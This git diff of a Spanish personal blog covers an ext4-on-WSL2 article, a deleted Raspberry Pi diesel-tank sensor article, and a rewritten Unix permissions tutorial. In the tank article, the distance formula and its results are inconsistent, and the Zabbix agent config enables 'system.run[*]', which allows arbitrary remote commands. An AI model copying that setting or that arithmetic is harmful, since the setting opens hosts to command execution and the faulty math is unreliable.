info: Detected networking mode 'nat'. +usbipd: info: Using IP address 172.27.32.1 to reach the host.</code></pre> +<p>Ahora, en el Linux embebido de WSL, aparece como dispositivo en <emb>/dev/sde</emb>:</p> +<pre><code>lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +sda 8:0 0 364.8M 1 disk +sdb 8:16 0 144.5M 1 disk +sdc 8:32 0 2G 0 disk [SWAP] +sdd 8:48 0 1T 0 disk /mnt/wslg/distro / +sde 8:64 1 231.1G 0 disk</code></pre> +<p>Esto ya es territorio Linux, por lo que simplemente debo montarlo y usarlo como de costumbre.</p> +<p>Lo siento por la entrada heterodoxa, pero a veces tenemos que ponernos guantes quirúrgicos y usar estos sistemas, y qué mejor que contar atajos para poder usar nuestros discos y particiones ext2, ext3 o ext4.</p> +<p>Sirva como resumen o gist:</p> +<pre><code># Montaje de disco duro ext4 +wmic diskdrive list brief +wsl --mount \\.\PHYSICALDRIVE1 --partition 1 + +# Montaje de pendrive ext4 +usbipd.exe list +usbipd bind --busid 2-15 +usbipd attach --wsl --busid 2-15 +lsblk</code></pre> +</body> +</html> +\ No newline at end of file diff --git a/gasoil/index.html b/gasoil/index.html @@ -1,216 +0,0 @@ -<!DOCTYPE html> -<html> -<head> -<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -<meta name="viewport" content="width=device-width, initial-scale=1" /> -<title>Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</title> -<link rel="icon" type="image/png" href="/favicon.png" /> -<link rel="stylesheet" type="text/css" href="../article.css" /> -</head> -<body> -<header> -<p class="title">Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</p> -<p class="date">21 de junio de 2022 • fjbalon</p> -</header> -<p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero más sencilla y más técnica es hacerlo a través de un sensor ultrasónico. Este sensor enviará los datos digitalizados a una Raspberry Pi 3B, que los procesará y almacenará, de tal forma que permita mantener un registro de monitorización y estadísticas de tiempo.</p> -<p>¿Cómo funciona el sensor de ultrasonido y cómo calculamos la distancia?. El funcionamiento es simple. El sensor crea un pulso de disparo en TRIG (trigger), enviando pulsos de 40kHz (manteniendo el estado de TRIG en HIGH durante un mínimo de 10µs). Inmediatamente, el circuito de control en el sensor cambiará el estado del pin de ECHO a HIGH, y manteniéndose así hasta que el pulso ultrasónico rebote con un objeto y regresa al receptor. En función del tiempo durante el cual el pin de ECHO permanece HIGH, esperando recibir de vuelta el pulso enviado, podemos calcular la distancia entre sensor y objeto. El emisor de pulsos es T, y el receptor es R.</p> -<p>Por poner un ejemplo, si calculamos el tiempo para el cual el ECHO es HIGHT como 588µs, y tomando que la velocidad del sonido en la atmósfera terrestre es de 343,2m/s:</p> -<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="D=\frac{\upsilon}{(t/2)}=\frac{343,2}{(588\mu/2)}=5656565656" display="block"> -<mrow> - <mi>D</mi> - <mo>=</mo> - <mfrac> - <mi>υ</mi> - <mrow> - <mo stretchy="false">(</mo> - <mrow> - <mi>t</mi> - <mo>/</mo> - <mn>2</mn> - </mrow> - <mo stretchy="false">)</mo> - </mrow> - </mfrac> - <mo>=</mo> - <mfrac> - <mrow> - <mn>343,2</mn> - <mi>m/s</mi> - </mrow> - <mrow> - <mo stretchy="false">(</mo> - <mrow> - <mrow> - <mn>588</mn> - <mo>⁢</mo> - <mi>μs</mi> - </mrow> - <mo>/</mo> - <mn>2</mn> - </mrow> - <mo stretchy="false">)</mo> - </mrow> - </mfrac> - <mo>=</mo> - <mn>1,17cm</mn> -</mrow> -</math> -<h2>Conexiones electrónicas</h2> -<p>Conectamos el pin TRIG del sensor ultrasónico al pin físico 16, es decir, el pin GPIO23 de la raspy. Usamos posteriormente una combinación de resistencia de 1kΩ y 2kΩ para convertir el pin de ECHO a 3.3V (aproximadamente) y conéctelo al pin físico 18 (GPIO24). Finalmente proporcionamos las conexiones de +5V y GND. El esquema de comunicaciones electrónicas quedaría tal que:</p> -<img class="color-invertible" style="width:50%" src="resources/ultrasonido01.png"/> -<h2>Cálculo de distancia contra objeto</h2> -<p>Una vez sabemos cómo calcular la distancia y tenemos conectado el sensor a nuestra CPU, el siguiente paso consiste en probar las ecuaciones anteriores bajo un código (usaremos Python), que muestre por stdout cada segundo la distancia medida. El código será:</p> -<pre><code>import RPi.GPIO as GPIO -import time - -GPIO.setmode(GPIO.BCM) -GPIO_TRIGGER = 23 -GPIO_ECHO = 24 -GPIO.setup(GPIO_TRIGGER, GPIO.OUT) -GPIO.setup(GPIO_ECHO, GPIO.IN) - -GPIO.output(GPIO_TRIGGER, True) -time.sleep(0.00001) -GPIO.output(GPIO_TRIGGER, False) - -StartTime = time.time() -StopTime = time.time() - -while GPIO.input(GPIO_ECHO) == 0: - StartTime = time.time() - -while GPIO.input(GPIO_ECHO) == 1: - StopTime = time.time() - -TimeElapsed = StopTime - StartTime -distance = (TimeElapsed * 34320) / 2 - -print ("Distance = %.1f cm" % distance)</code></pre> -<p>Obteniendo unos resultados positivos como:</p> -<pre><code>$ ./distance.py -Distance = 85.8 cm</code></pre> -<h2>Cálculo de subcuboide</h2> -<p>Dado un cuboide de 112x100x71, que corresponde a las medidas aproximadas del tanque de gasoil:</p> -<img class="color-invertible" style="width:25%" src="resources/cuboide.png"/> -<p>Y recibido el valor de distancia entre sensor y gasoil, es sencillo calcular las medidas del subcuboide resultante. Por ejemplo, dada una distancia de 85cm:</p> -<img class="color-invertible" style="width:50%" src="resources/subcuboide.png"/> -<p>Obtendríamos un subcuboide de 15x112x71 que corresponde a -<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="x*(y-d)*z=112*(100-85)*71=119280cm^{3}=119L"> -<mrow> - <mrow> - <mi>x</mi> - <mo>*</mo> - <mrow> - <mo stretchy="false">(</mo> - <mrow> - <mi>y</mi> - <mo>-</mo> - <mi>d</mi> - </mrow> - <mo stretchy="false">)</mo> - </mrow> - <mo>*</mo> - <mi>z</mi> - </mrow> - <mo>=</mo> - <mrow> - <mn>112</mn> - <mo>*</mo> - <mrow> - <mo stretchy="false">(</mo> - <mrow> - <mn>100</mn> - <mo>-</mo> - <mn>85</mn> - </mrow> - <mo stretchy="false">)</mo> - </mrow> - <mo>*</mo> - <mn>71</mn> - </mrow> - <mo>=</mo> - <mrow> - <mn>119280</mn> - <mo></mo> - <mi>c</mi> - <mo></mo> - <msup> - <mi>m</mi> - <mn>3</mn> - </msup> - </mrow> - <mo>=</mo> - <mrow> - <mn>119</mn> - <mo></mo> - <mi>L</mi> - </mrow> -</mrow> -</math> -de un total de -<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="112*100*71=795200cm^{3}=795L"> -<mrow> - <mrow> - <mn>112</mn> - <mo>*</mo> - <mn>100</mn> - <mo>*</mo> - <mn>71</mn> - </mrow> - <mo>=</mo> - <mrow> - <mn>795200</mn> - <mo></mo> - <mi>c</mi> - <mo></mo> - <msup> - <mi>m</mi> - <mn>3</mn> - </msup> - </mrow> - <mo>=</mo> - <mrow> - <mn>795</mn> - <mo></mo> - <mi>L</mi> - </mrow> -</mrow> -</math> -<p>, un 14% de capacidad.</p> -<p>Una vez obtenidos los datos, adaptamos el script de forma simple stdin/stdout (para monitorización) de forma que devuelva un float con los litros restantes según los parámetros de entrada:</p> -<pre><code>ancho=112 # Coordinate axis x: ancho / width -alto=100 # Coordinate axis y: alto / height -profundidad=71 # Coordenate axis z: profundidad / depth - -def volumenCuboide(x,y,z): - return x * y * z - -def subcuboide(x,y,z,d): - s = y - d - return volumenCuboide(x,s,z) - -l = subcuboide(ancho,alto,profundidad,distance)/1000 # Divsion by 100 for cm^3 to liters -print ("%.1f" % l)</code></pre> -<p>Así:</p> -<pre><code>$ ./gasoil40kHz.py -119.4</code></pre> -<p>Script final en servidor git en <a href="/git/lab/file/programming-python/gasoil/gasoil.py.html">gasoil.py</a>.</p> -<h2>Implementación en tanque</h2> -<p>Me valgo de uno de los tapones del tanque para colocar, usando adhesivos, y de la forma más perpendicular posible al eje x del tanque, el sensor de ultrasonido. Aprovecho que los cable son finos para pasarlos por el aislante de la propia prensa del tapón, quedando el resto del circuito fuera.</p> -<img style="width:100%" src="resources/tanque-gasoil.png"/> -<p>Una vez instalado, para realizar la obtención de datos gráficos configuramos la máquina receptora de los datos del sensor en un agente de <a href="https://zabbix.com">Zabbix</a>. Añadimos un UserParameter que contenga la llamada al script, de forma que obtengamos los valores directamente desde el servidor de Zabbix.</p> -<pre><code># /etc/zabbix/zabbix_agentd.conf -PidFile=/var/run/zabbix/zabbix_agentd.pid -LogFile=/var/log/zabbix/zabbix_agentd.log -LogFileSize=0 -AllowKey=system.run[*] -Server=172.16.0.1 -ServerActive=172.16.0.1 -Hostname=gasoil40kHz -Include=/etc/zabbix/zabbix_agentd.d/*.conf -UserParameter=Gasoil,/home/pi/gasoil.py</code></pre> -<p>Con esto y en monitorización a través de Zabbix de estos valores, podemos configurar y dibujar gráficas.</p> -<img class="color-invertible" style="width:100%" src="resources/graph.png"/> -<p>El margen de error presente se encuentra en unos 6l. Pero con dicho margen se puede hacer una aproximación fidedigna del rango de capacidad y consumo del tanque.</p> -</body> -</html> -\ No newline at end of file diff --git a/index.html b/index.html @@ -18,9 +18,34 @@ <section class="blog"> +<a href="./ext4-wsl2/" class="article"> + <p class="title">Montaje de sistema de archivos ext4 a través de WSL2</p> + <p class="info">5 de junio de 2026 · fjbalon</p><p>En un artículo algo extraño para lo que lo que suelo escribir, enfocado en el sistema de Microsoft Windows. Tranquilícese el lector, incluso encuadrando el artículo a través del sistema operativo...</p> +</a> + +<a href="./cister-software-libre/" class="article"> + <p class="title">Los Registros monásticos del Císter como precursores del software libre</p> + <p class="info">27 de marzo de 2026 · fjbalon</p><p>Hay un hecho histórico llamativo, relacionado con la fundación de la Orden Cisterciense (1098) en Cîteaux, Francia: la orden monástica fue fundada por Roberto de Molesmes, y fue una reacción a la...</p> +</a> + +<a href="./selinux/" class="article"> + <p class="title">Mi primer SELinux denial</p> + <p class="info">15 de mayo de 2025 · fjbalon</p><p>Os pongo en contexto. Un Rocky 9.5 (derivado de RHEL, para quien no lo conozca) que he empezado a administrar, sirve un servidor Apache (httpd). He importado una configuración propia en forma de fich...</p> +</a> + +<a href="./propagacion-malware-script/" class="article"> + <p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p> + <p class="info">15 de abril de 2025 · fjbalon</p><p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anun...</p> +</a> + +<a href="./yihad-c/" class="article"> + <p class="title">¿Existe una yihad contra C/C++?</p> + <p class="info">3 de septiembre de 2024 · fjbalon</p><p>El 19 de julio de 2024 se produjo uno de los mayores fallos informáticos de la historia. No fue un ciberataque per se, sino un fallo provocado por una actualización defectuosa de software de CrowdSt...</p> +</a> + <a href="./xz-liblzma/" class="article"> <p class="title">Del backdoor de SSH por xz/liblzma</p> - <p class="info">1 de abril de 2024 · fjbalon</p><p> La biblioteca de lzma comprometida activaría a través de un enlace de openssh a sd_notify (systemd notify) para obtener código oculto en liblzma para crear una puerta trasera a cualquier servidor...</p> + <p class="info">1 de abril de 2024 · fjbalon</p><p>Como bien se sabe, este no es un blog de noticias. Ni me interesan por regla común, ni mucho menos quiero ser partícipe o servidor de ellas. Este es un blog que se centra en el mundo de las ideas, d...</p> </a> <a href="./anillos-poder/" class="article"> @@ -79,8 +104,8 @@ </a> <a href="./browser-sucks/" class="article"> - <p class="title">Todos los navegadores web son basura</p> - <p class="info">2 de enero de 2023 · fjbalon</p><p>Me he inspirado en el artículo every web browser absolutely sucks, de Luke Smith, con el que -debo decir- estoy radicalmente de acuerdo, tanto que he querido hacer mi propio «browser sucks»....</p> + <p class="title">La problemática del navegador web</p> + <p class="info">2 de enero de 2023 · fjbalon</p><p>Hace poco, Luke Smith escribió en su blog el artículo every web browser absolutely sucks, en el que exploraba superficialmente la problemática del navegador web y exponía lo que para él sería un...</p> </a> <a href="./paganismo/" class="article"> @@ -113,7 +138,7 @@ <p class="info">29 de septiembre de 2022 · fjbalon</p><p>La filosofía de Unix, originada por Ken Thompson, es un conjunto de normas culturales y enfoques filosóficos para el desarrollo de software minimalista y modular. Se basa en la experiencia de los pr...</p> </a> -<a href="./gasoil/" class="article"> +<a href="./tanque-gasoil/" class="article"> <p class="title">Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</p> <p class="info">21 de junio de 2022 · fjbalon</p><p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero ...</p> </a> @@ -213,9 +238,14 @@ <p class="info">2 de diciembre de 2020 · fjbalon</p><p>La selección natural es el mecanismo propuesto por Charles Darwin que explicaría la transición de mono a hombre y de todas las especies animales y vegetales del planeta. Para muchos, es el pilar fu...</p> </a> -<a href="./construccion-git/" class="article"> - <p class="title">Construcción de servidor Git propio</p> - <p class="info">22 de noviembre de 2020 · fjbalon</p><p>Una buena razón para alojar tus propios repositorios git es tener y mantener el control sobre tu propia infraestructura informática, tanto a nivel de sistema como a nivel de código, guardando inclu...</p> +<a href="./servidor-git-stagit/" class="article"> + <p class="title">Externalización gráfica de servidor Git propio con stagit</p> + <p class="info">23 de noviembre de 2020 · fjbalon</p><p>A veces es agradable navegar por el registro del historial de git en un navegador web o en algún otro programa sin tener que mirar el repositorio local. Es además una forma de mantener un registro d...</p> +</a> + +<a href="./servidor-git/" class="article"> + <p class="title">Construcción de mi propio servidor Git</p> + <p class="info">22 de noviembre de 2020 · fjbalon</p><p>Aquí todos conocemos el software o protocolo desarrollado en inicio por Linus Torvalds: Git. Un sistema de control de versiones, que se constituye como una herramienta indispensable, a día de hoy, p...</p> </a> <a href="./autodefensa/" class="article"> @@ -235,7 +265,7 @@ <a href="./swap/" class="article"> <p class="title">Sobre la necesidad de la memoria Swap</p> - <p class="info">27 de febrero de 2020 · fjbalon</p><p> El caso que hoy me ocupa, nace de la necesidad de apagar la memoria de intercambio (o swap) en mi equipo portátil para poder gestionar varias pruebas sobre clústers de kubernetes. Algo curioso, pue...</p> + <p class="info">27 de febrero de 2020 · fjbalon</p><p>El caso que hoy me ocupa, nace de la necesidad de apagar la memoria de intercambio (o swap) en mi equipo portátil para poder gestionar varias pruebas sobre clústers de kubernetes. Algo curioso, pues...</p> </a> <a href="./the-rider/" class="article"> @@ -308,9 +338,9 @@ <p class="info">13 de junio de 2016 · fjbalon</p><p>La filosofía es aquel conjunto de saberes que busca establecer, de manera racional, los principios más generales que organizan y orientan el conocimiento de la realidad, así como el sentido del obr...</p> </a> -<a href="./permissions/" class="article"> - <p class="title">Permisos y propietarios en la familia Unix</p> - <p class="info">2 de abril de 2016 · fjbalon</p><p>Un fichero o archivo (file) es una colección de bytes agrupados bajo el mismo nombre y almacenados en el sistema de archivos. Se agrupan en directorios (directory), que no es más que la estructura l...</p> +<a href="./permisos-unix/" class="article"> + <p class="title">De la heredad de permisos y propietarios de Unix</p> + <p class="info">2 de abril de 2016 · fjbalon</p><p>La comprensión del fichero o archivo, file para los anglosajones, es fundamental para comprender la estructura y funcionamiento lógico de Unix. Un fichero es una colección de bytes agrupados bajo u...</p> </a> <a href="./openvpn/" class="article"> diff --git a/permisos-unix/index.html b/permisos-unix/index.html @@ -0,0 +1,129 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>De la heredad de permisos y propietarios de Unix</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">De la heredad de permisos y propietarios de Unix</p> +<p class="date">2 de abril de 2016 • fjbalon</p> +</header> +<p>La comprensión del fichero o archivo, file para los anglosajones, es fundamental para comprender la estructura y funcionamiento lógico de Unix. Un fichero es una colección de bytes agrupados bajo un mismo nombre, simple. En Unix, todo es un fichero; todo. Incluso un directorio es un fichero especial que agrupa otros ficheros, y estos a su vez se agrupan en otros directorios. Es la estructura lógica de catalogación.</p> +<p>Los directorios se ordenan en una jerarquía muy clara y concisa en Unix, y al tronco de estos directorios se les denomina árbol; por eso el inicio de todo es la raíz.</p> +<p>Las extensiones de los ficheros son una simple convención que determina un subnombre o cadena de caracteres anexa separada mediante un punto, que ayudan a diversos softwares y al humano a diferenciar entre distintos tipos de datos o contenido.</p> +<p>Recuerda, iniciado, que para mantener esta jerarquía, el sistema se maneja mediante rutas (paths), que indican el árbol de directorios y el fichero objetivo separados por /. En función de si la ruta comienza en la raíz del sistema o desde un punto variable, hablamos de rutas absolutas (/home/fjbalon/fichero) o rutas relativas (../../fjbalon/fichero), respectivamente. Algunos comodines referidos en las rutas son . (directorio actual), .. (directorio padre), $\sim$ (directorio home del usuario actual).</p> +<p>Introducida la estructura lógica de ficheros y directorios, ahondamos en la simple pero poderosa estructura de permisos de Unix, que es uno de los pilares sobre el que descansa la seguridad en estos sistemas operativos; aplicándose a todo el sistema y a todo archivo, y construyendo un sistema robusto, fiable y estable en cuanto accesos y niveles de permisos, así como propietarios de cada archivo.</p> +<p>Así, los permisos asociados a un archivo:</p> +<ul> +<li>Lectura (read - r): un usuario con permiso de lectura sobre un fichero podrá ver su contenido. Si fuera un directorio, el usuario con permiso de lectura podrá listar el contenido del mismo. Esto no quiere decir poder ver el contenido de cada fichero, para ello necesitará el permiso sobre dicho fichero. </li> +<li>Escritura (write - w): un usuario con permiso de escritura podrá editar, añadir o eliminar el contenido de un fichero. Un usuario con permiso de escritura sobre un directorio podrá crear, eliminar o mover archivos del mismo.</li> +<li>Ejecución (execute - x): un usuario que intente ejecutar un programa deberá tener el permiso de ejecución.</li> +</ul> +<p>Según los métodos de visualización, dividimos los permisos de un fichero o directorio en 3 grupos de rwx (lectura, escritura y ejecución). En caso de haber un guión en lugar de la letra representativa del permiso, no existirá tal permiso.</p> +<ul> +<li>El primer grupo rwx indica los permisos que tiene el usuario propietario.</li> +<li>El segundo grupo rwx indica los permisos que tienen los usuarios que pertenecen al grupo propietario.</li> +<li>El tercer grupo rwx indica los permisos que tienen el resto de usuarios.</li> +</ul> +<p>El primer caracter indicará el tipo de archivo, como indicación al usuario, que se catalogan en:</p> +<ul> +<li>Regular files: -</li> +<li>Directory files: d</li> +<li>Block file: b</li> +<li>Character device file: c</li> +<li>Named pipe file or just a pipe file: p</li> +<li>Symbolic link file: l</li> +<li>Socket file: s</li> +</ul> +<h2>Método de manipulación de permisos: modo octal</h2> +<p>Los permisos rwx son representaciones de un valor binario, que determina con 1 que existe dicho permiso y con 0 que no existe. Entonces, cada trío de permisos tendría un valor binario como: rwx = 111, r-x = 101, r-- = 100. El trío binario traducido a octal nos devuelve un valor entre 0 y 7.</p> +<pre><code>rwx => 111 binary => digit 7 because r is 4, w is 2 and x is 1, so 4+2+1=7 +r-x => 101 binary => digit 5 because r is 4 and x is 1 so 4+0+1=5 +-wx => 011 binary => digit 3 because w is 2 and x is 1 so 0+2+1=3 +--- => 000 binary => digit 0 because no permissions are set so 0+0+0=0 + +7 = binary 111 = rwx +6 = binary 110 = rw- +5 = binary 101 = r-x +4 = binary 100 = r-- +3 = binary 011 = -wx +2 = binary 010 = -w- +1 = binary 001 = --x +0 = binary 000 = ---</code></pre> +<p>De tal forma que es posible indicar con sólo 3 dígitos octales los permisos de un fichero o directorio.</p> +<pre><code>rwxr-x-wx is rwx|r-x|-wx is 111|101|011 ==> 753 +---r----x is ---|r--|--x is 000|100|001 ==> 041 +--------- is ---|---|--- is 000|000|000 ==> 000 +rwxrwxrwx is rwx|rwx|rwx is 111|111|111 ==> 777</code></pre> +<p>Usamos la herramienta chmod:</p> +<pre><code># Asigna únicamente permisos de ejecución al fichero +$ chmod 111 nombre_del_fichero + +# Asigna todos los permisos para el usuario, únicamente ejecución para el grupo y ninguno para el resto +$ chmod 710 nombre_del_fichero + +# Asigna todos los permisos para el usuario, únicamente lectura para el grupo y ejecución y escritura para el resto +$ chmod 743 nombre_del_fichero </code></pre> +<h2>Método de manipulación de permisos: modo simbólico</h2> +<p>Utiliza operadores para modificar (asignar o desasignar) los diferentes modos de los permisos. Existen 3 operadores: + (añade un modo), - (elimina un modo) y = (especifica un modo). Los usuarios son representados mediante: u (user, primer grupo rwx), g (group, segundo grupo rwx), o (others, tercer grupo rwx), a (all, todos los grupos rwx).</p> +<p>Usamos la herramienta chmod:</p> +<pre><code># Añade todos los permisos de ejecución al fichero +$ chmod +x nombre_del_fichero + +# Elimina todos los permisos de escritura al fichero +$ chmod -w nombre_del_fichero + +# Elimina permisos de lectura a otros +$ chmod o-r nombre_del_fichero + +# Únicamente deja permisos de ejecución +$ chmod =x nombre_del_fichero + +# Añade todos los permisos al usuario pero vacía el resto, dejando únicamente permiso de ejecución para otros +$ chmod u+rwx,g-rwx,o=x nombre_del_fichero</code></pre> +<p>Esto son sólo 5 ejemplos del uso de chmod en este modo, podemos realizar todas las combinaciones que necesitemos.</p> +<h2>Método de cambio de propietario</h2> +<p>Lo más esencial antes de iniciar la manipulación de permisos es gestionar el cambio de propietarios. Como ya se ha adelantado, un fichero tiene un usuario propietario y un grupo propietario. Generalmente por defecto es el creador de dicho fichero o directorio.</p> +<p>Usamos la herramienta chown:</p> +<pre><code>chown root nombre_del_fichero # Cambiamos el propietario del fichero a root +chown juan:administradores nombre_del_fichero # Cambiamos el propietario a juan y el grupo a administradores +chown :controladores nombre_del_fichero # Cambiamos sólo el grupo propietario a controladores</code></pre> +<h2>Permisos de bits especiales</h2> +<p>Fuera del predominio de rwx, pueden existir otros permisos especiales asignables a archivos y directorios en el sistema de archivos. Se referencia a estos permisos especiales como un dígito adicional agregado al comienzo del modo.</p> +<p>Los siguientes bits especiales están disponibles para el uso del sistema de archivos de Linux:</p> +<ul> +<li>SUID: el permiso "Set User Id" permite a los usuarios ejecutar un programa como si fueran el usuario propietario del programa, siendo en la mayoría de los casos root. El valor numérico de este conjunto de permisos es 4XXX, donde XXX corresponde a los valores rwx.</li> +<li>SGID: "Set Group Id", similar al anterior pero otorga automáticamente la propiedad de grupo. El valor numérico de este conjunto de permisos es 2XXX, donde XXX corresponde a los valores rwx.</li> +<li>Pedazo pegajoso: este conjunto de permisos se usa para evitar que los «no propietarios» eliminen archivos en un directorio común (numérico = 1XXX). En un directorio de bits adhesivos, solo el propietario del archivo o el propietario del directorio puede eliminar el archivo (la raíz siempre puede eliminar archivos también).</li> +</ul> +<pre><code>chmod 4755 ejemplo +ls -l ejemplo + +-rwsr-xr-x 1 root root 5747 Apr 25 01:45 ejemplo</code></pre> +<h2>Enmascaramiento de permisos</h2> +<p>umask (abreviatura de user mask, máscara de usuario) es una orden y una función en entornos POSIX que establece los permisos por defecto para los nuevos archivos y directorios creados por el proceso actual. por defecto, los directorios tienen una base octal de 777 (111 111 111)(rwx rwx rwx) mientras que los ficheros de 666 (110 110 110)(rw- rw- rw-). La razón por la que los ficheros carecen de permisos de ejecución es sencilla, por seguridad, no conviene que le demos este permiso a todo archivo nuevo. Partiendo de esta base, la operación para determinar los permisos de creación de nuevos archivos y directorios es la resta del valor dado por umask al permiso base:</p> +<pre><code># Directory +base 777 111 111 111 rwxrwxrwx +umask 022 000 010 010 ----w--w- +result 755 111 101 101 rwxr-xr-x + +# File +base 666 110 110 110 rw-rw-rw- +umask 022 000 010 010 ----w--w- +result 644 110 100 100 rw-r--r--</code></pre> +<p>Para corroborar la umask que estamos utilizando en este preciso momento, simplemente deberemos lanzar el comando umask, que te devolverá el valor.</p> +<pre><code>umask +0022</code></pre> +<p>Para personalizar la máscara tenemos 3 opciones. La primera de ellas consiste en cambiar la máscara en la sesión que tenemos, siendo un cambio temporal.</p> +<pre><code>umask 066</code></pre> +<p>Si queremos hacer permanente el cambio, la segunda de ellas consiste en modificar la umask en .bashrc, por lo que afectaría al usuario en cuestión.</p> +<pre><code>echo "umask 022" >> ~/.bashrc</code></pre> +<p>Y la tercera opción consiste en editar el fichero de configuración /etc/profile, afectando a todos los usuarios.</p> +<pre><code>echo "umask 022" >> /etc/profile</code></pre> +<p>Cabe destacar que si que, el sistema (/etc/profile) tiene una máscara de -por ejemplo- 026 y el usuario (.bashrc) de 002 la prioridad del usuario siempre será la de su configuración propia. De hecho su funcionamiento es el siguiente: el usuario busca en su fichero de configuración la línea umask, en caso de no haber busca en el sistema. Por lo que en el caso de no configurar umask en el usuario, la configuración del mismo será la del sistema.</p> +</body> +</html> +\ No newline at end of file diff --git a/permissions/index.html b/permissions/index.html @@ -1,150 +0,0 @@ -<!DOCTYPE html> -<html> -<head> -<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -<meta name="viewport" content="width=device-width, initial-scale=1" /> -<title>Permisos y propietarios en la familia Unix</title> -<link rel="icon" type="image/png" href="/favicon.png" /> -<link rel="stylesheet" type="text/css" href="../article.css" /> -</head> -<body> -<header> -<p class="title">Permisos y propietarios en la familia Unix</p> -<p class="date">2 de abril de 2016 • fjbalon</p> -</header> -<p>Un fichero o archivo (file) es una colección de bytes agrupados bajo el mismo nombre y almacenados en el sistema de archivos. Se agrupan en directorios (directory), que no es más que la estructura lógica de catalogación, siendo tratado en Unix como un fichero especial. Se ordenan en jerarquía, y al tronco de directorios se le denomina árbol.</p> -<p>Las extensiones de los ficheros son una simple convención que determina un subnombre o cadena de caracteres anexa separada mediante un punto, que ayudan a diversos softwares y al humano a diferenciar entre distintos tipos de datos o contenido.</p> -<p>Para mantener esta jerarquía, el sistema se maneja mediante rutas (paths), que indican el árbol de directorios y el fichero objetivo separados por /. En función de si la ruta comienza en la raíz del sistema o desde un punto variable, hablamos de rutas absolutas (/home/balon/fichero) o rutas relativas (../../balon/fichero), respectivamente.</p> -<p>Algunos comodines referidos en las rutas son . (directorio actual), .. (directorio padre), $\sim$ (directorio home del usuario actual).</p> -<p>Introducida la estructura lógica de ficheros y directorios, ahondamos en la simple pero poderosa estructura de permisos de Unix, que es uno de los pilares sobre el que descansa la seguridad en estos sistemas operativos; aplicándose a todo el sistema y a todo archivo, y construyendo un sistema robusto, fiable y estable en cuanto accesos y niveles de permisos, así como propietarios de cada archivo.</p> -<p>Así, los permisos asociados a un archivo:</p> -<ul> -<li>Lectura (read - r): un usuario con permiso de lectura sobre un fichero podrá ver su contenido. Si fuera un directorio, el usuario con permiso de lectura podrá listar el contenido del mismo. Esto no quiere decir poder ver el contenido de cada fichero, para ello necesitará el permiso sobre dicho fichero. </li> -<li>Escritura (write - w): un usuario con permiso de escritura podrá editar, añadir o eliminar el contenido de un fichero. Un usuario con permiso de escritura sobre un directorio podrá crear, eliminar o mover archivos del mismo.</li> -<li>Ejecución (execute - x): un usuario que intente ejecutar un programa deberá tener el permiso de ejecución.</li> -</ul> -<p>Según los métodos de visualización, dividimos los permisos de un fichero o directorio en 3 grupos de rwx (lectura, escritura y ejecución). En caso de haber un guión en lugar de la letra representativa del permiso, no existirá tal permiso.</p> -<ul> -<li>El primer grupo rwx indica los permisos que tiene el usuario propietario.</li> -<li>El segundo grupo rwx indica los permisos que tienen los usuarios que pertenecen al grupo propietario.</li> -<li>El tercer grupo rwx indica los permisos que tienen el resto de usuarios.</li> -</ul> -<p>El primer caracter indicará el tipo de archivo, como indicación al usuario, que se catalogan en:</p> -<ul> -<li>Regular files: -</li> -<li>Directory files: d</li> -<li>Block file: b</li> -<li>Character device file: c</li> -<li>Named pipe file or just a pipe file: p</li> -<li>Symbolic link file: l</li> -<li>Socket file: s</li> -</ul> - - <h1>Método de manipulación de permisos: modo octal</h1> -<p>Los permisos rwx son representaciones de un valor binario, que determina con 1 que existe dicho permiso y con 0 que no existe. Entonces, cada trío de permisos tendría un valor binario como: rwx = 111, r-x = 101, r-- = 100. El trío binario traducido a octal nos devuelve un valor entre 0 y 7.</p> - -<pre><code>rwx => 111 binary => digit 7 because r is 4, w is 2 and x is 1, so 4+2+1=7 -r-x => 101 binary => digit 5 because r is 4 and x is 1 so 4+0+1=5 --wx => 011 binary => digit 3 because w is 2 and x is 1 so 0+2+1=3 ---- => 000 binary => digit 0 because no permissions are set so 0+0+0=0 - -7 = binary 111 = rwx -6 = binary 110 = rw- -5 = binary 101 = r-x -4 = binary 100 = r-- -3 = binary 011 = -wx -2 = binary 010 = -w- -1 = binary 001 = --x -0 = binary 000 = ---</code></pre> -<p>De tal forma que es posible indicar con sólo 3 dígitos octales los permisos de un fichero o directorio.</p> - -<pre><code>rwxr-x-wx is rwx|r-x|-wx is 111|101|011 ==> 753 ----r----x is ---|r--|--x is 000|100|001 ==> 041 ---------- is ---|---|--- is 000|000|000 ==> 000 -rwxrwxrwx is rwx|rwx|rwx is 111|111|111 ==> 777</code></pre> -<p>Usamos la herramienta chmod:</p> - -<pre><code># Asigna únicamente permisos de ejecución al fichero -$ chmod 111 nombre_del_fichero - -# Asigna todos los permisos para el usuario, únicamente ejecución para el grupo y ninguno para el resto -$ chmod 710 nombre_del_fichero - -# Asigna todos los permisos para el usuario, únicamente lectura para el grupo y ejecución y escritura para el resto -$ chmod 743 nombre_del_fichero </code></pre> - - <h1>Método de manipulación de permisos: modo simbólico</h1> -<p>Utiliza operadores para modificar (asignar o desasignar) los diferentes modos de los permisos. Existen 3 operadores: + (añade un modo), - (elimina un modo) y = (especifica un modo). Los usuarios son representados mediante: u (user, primer grupo rwx), g (group, segundo grupo rwx), o (others, tercer grupo rwx), a (all, todos los grupos rwx).</p> -<p>Usamos la herramienta chmod:</p> - -<pre><code># Añade todos los permisos de ejecución al fichero -$ chmod +x 